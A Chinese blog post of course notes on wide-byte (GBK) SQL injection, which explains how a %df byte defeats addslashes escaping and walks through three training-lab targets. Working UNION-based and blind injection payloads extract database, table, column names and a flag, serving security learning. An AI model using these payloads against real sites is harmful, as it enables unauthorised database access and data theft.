掌控安全学习-宽字节

知识梳理

  1. SQL注入原理:用户输入的数据可以被拼接到原有代码执行
  2. SQL注入基本流程:
  • (1). 判断注入点,例:
    数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;
    字符型:单双引号、括号闭合,观察页面是否正常;
    使用sleep()观察页面是否存在延迟;
  • (2)猜解字段数,例:
    and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数
  • (3)查看显错点
    and 1=2 union select 1,2,3通过发现显错位置可以知道在哪里输出想要的信息
  • (4)查询库名、表名、字段名、字段内容
    可以通过查询系统自带库information_schema来获取想要的内容。
    -查询库名
    union select 1,2,database()
    -查询表名
    union select 1,2,table_name from information_schema.tables where table_schema = database()
    -查询字段名
    union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
    -查询字段内容
    union select 1,column1,column2 from table_name limit 0,1
    group_concat可以将多行数据整合到一行输出
    union select 1,2,group_concat(flag) from TABLE_NAME
  1. 宽字节注入原理:
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。
MYSQL的字符集转换过程
1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
• 使用每个数据字段的CHARACTER SET设定值;
• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
• 若上述值不存在,则使用character_set_server设定值。
将操作结果从内部操作字符集转换为character_set_results。
重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。

magic_quotes_gpc/addslashes的作用:当PHP的传参中有特殊字符就会再前面加转义字符’\’,来做一定的过滤;
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线;
GBK编码,它的编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c(),因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。

靶场演示

POST注入靶场一

靶场地址http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1

1. 判断注入点

image

可以看到这里开起了魔术引号,尝试使用%df拼接吃掉\

image

判断存在注入点

2. 查询字段数

%df' order by 1,2,3 -- qqq页面正常
%df' order by 1,2,3,4 -- qqq页面报错
判断存在3个字符段

image

3. 判断显错位置

%df' and 1=1 union select 1,2,3 -- qqq

image

4. 查询库名

用户名一般存在字符限制,所有这边用密码作为显错位置;
%df' and 1=2 union select 1,2,database() -- qqq
得到库名widechar

image
5. 查询表名

%df' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1 -- qqq
得到表名为china_flag

image
6. 查询字段名

判断flag在china_flag表内
将字符转换成16机制就可以避免出现单引号
http://www.bejson.com/convert/ox2str/
china_flag转换成十六进制0x6368696e615f666c6167
%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 limit 0,1 -- qqq
也可用子查询方式
%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema = database() limit 0,1) -- qqq

image
image
7. 查询字段内容

判断flag在C_Flag字段内
%df' and 1=2 union select 1,2,C_Flag from china_flag limit 0,1 -- qqq

image

POST注入靶场二

地址http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1
第二题只是闭合不同

查询库名

用户名一般存在字符限制,所有这边用密码作为显错位置;
%df") and 1=2 union select 1,2,database() -- qqq
得到库名widechar

image
查询表名

%df") and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1 -- qqq
得到表名为china_flag

image
查询字段名

%df") and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema = database() limit 0,1) -- qqq

image
7. 查询字段内容

判断flag在C_Flag字段内
%df") and 1=2 union select 1,2,C_Flag from china_flag limit 0,2 -- qqq

image

POST注入靶场三

地址http://inject2.lab.aqlab.cn:81/Pass-17/index.php
靶场16使用的是表单post传参,%df是url编码,post不会进行url解码,这里就不能使用%df的方式,可以使用在表单内填入一个汉字的方法,getpost传参正常情况下使用的是强大统一的UTF-8,而这个网址装了GBK
GBK编码只有在遇到中文的时候才会执行,遇到英文和ascii编码是不会动的。
而UTF-8除了ascii表上面的字符每哥占一个字节,其他的那些中文汉字,韩文,泰文等等都是占三个字节,而GBK只有中文,汉字+\ =4个字节,经过GBK编码就变成了两个汉字。
或') or 1=1 -- q

image

判断字段数

或') or 1=1 order by 3 -- q

image
猜库名长度

或') or length(database())=8 -- qqq

image
猜库名

或') or ascii(substr(database(),1,1))=1 -- qqq
依次测试得到数据库名称widechar

猜表名

或') or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>1 -- qqq
依次测试得到表名为china_flag

猜字段名

或') or (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 limit 1,1)=1 -- qqq
测试得到字段名C_Flag

猜字段内容

或') or (select ascii(substr(C_Flag,1,1))from china_flag limit 2,1)=1 -- q
测试得到flag为zKaQ-Kzj+mz


image
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,294评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,780评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,001评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,593评论 1 289
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,687评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,679评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,667评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,426评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,872评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,180评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,346评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,019评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,658评论 3 323
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,268评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,495评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,275评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,207评论 2 352